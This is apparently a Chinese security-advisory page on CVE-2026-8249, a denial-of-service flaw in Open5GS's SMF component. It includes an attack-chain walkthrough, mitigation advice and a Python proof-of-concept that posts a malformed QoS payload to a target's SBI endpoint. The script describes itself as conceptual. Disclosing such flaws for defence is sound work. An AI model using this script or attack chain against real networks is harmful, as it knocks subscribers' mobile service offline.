IPBUF安全漏洞报告
English
CVE-2026-8249 CVSS 4.3 中危

CVE-2026-8249 Open5GS拒绝服务漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2026-8249
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务CVE-2026-8249Open5GS5G核心网DoSSMF

漏洞概述

Open5GS是一款开源的5G核心网实现。在Open5GS 2.7.7及之前的版本中,SMF组件的/src/smf/npcf-handler.c文件中的update_authorized_pcc_rule_and_qos函数存在缺陷。攻击者可利用该漏洞通过网络进行远程攻击,通过特定的数据包操作来触发拒绝服务条件,导致目标服务不可用。目前该漏洞利用代码已公开,且厂商尚未修复。

技术细节

该漏洞主要影响Open5GS的会话管理功能(SMF)组件,其根源在于/src/smf/npcf-handler.c文件中的update_authorized_pcc_rule_and_qos函数存在逻辑缺陷。当SMF组件处理来自网络侧的策略与计费控制(PCC)规则更新或QoS流修改请求时,由于缺少对特定输入参数的严格校验,攻击者可以构造恶意的协议数据包。攻击者只需拥有低权限,即可通过远程网络向SMF接口发送特制数据。这种操作会导致目标函数在处理数据时发生内存访问错误或逻辑死锁,进而触发拒绝服务条件,导致SMF进程崩溃或无响应。由于SMF负责5G核心网中的会话管理,该漏洞将直接导致网络服务中断,影响用户连接的可用性。目前利用代码已公开,攻击门槛较低。

攻击链分析

STEP 1
侦察阶段
攻击者扫描网络,识别出运行Open5GS的目标系统,并定位SMF组件的开放接口(通常是SBI接口端口)。
STEP 2
漏洞利用
攻击者利用低权限身份,向SMF组件的npcf-handler接口发送特制的恶意PCC规则或QoS更新数据包。
STEP 3
触发崩溃
update_authorized_pcc_rule_and_qos函数在处理畸形数据时发生错误,导致SMF进程异常终止或挂起。
STEP 4
达成目标
目标5G核心网的会话管理功能瘫痪,合法用户无法建立或维持连接,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-8249 (Open5GS DoS) # Target: Open5GS SMF Component import requests import json # Replace with the actual target IP and port of the Open5GS SMF # SMF typically exposes an SBI interface (HTTP/2) target_url = "http://<TARGET_IP>:<PORT>/npcf-smpolicycontrol/v1/sm-policies" # Malformed payload designed to trigger the flaw in update_authorized_pcc_rule_and_qos # This payload simulates a corrupted QoS update request malicious_payload = { "invalid_qos": { "5qi": -1, # Invalid QoS Flow Identifier "arp": { "priority_level": 999, # Out of bounds priority "preempt_cap": "INVALID_VALUE", "preempt_vuln": "INVALID_VALUE" } }, "session_rules": [ { "auth_sess_ambr": { "uplink": "999999999999999999999", # Extremely large value "downlink": "999999999999999999999" } } ] } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-8249-PoC" } try: print(f"[*] Sending payload to {target_url}...") # Note: Open5GS SBI often uses HTTP/2, standard requests library might need http2 adapter. # This is a conceptual representation of the request. response = requests.post(target_url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"[*] Response status code: {response.status_code}") print("[*] If the service crashes, the vulnerability is confirmed.") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
由于官方尚未发布针对该漏洞的修复补丁,建议采取临时缓解措施:在防火墙或ACL中阻断非信任IP对Open5GS SMF组件服务端口的访问;通过入侵防御系统(IPS)部署特征规则以拦截已知的攻击流量特征;暂时关闭非必要的PCC规则动态更新功能以减少攻击面。

参考链接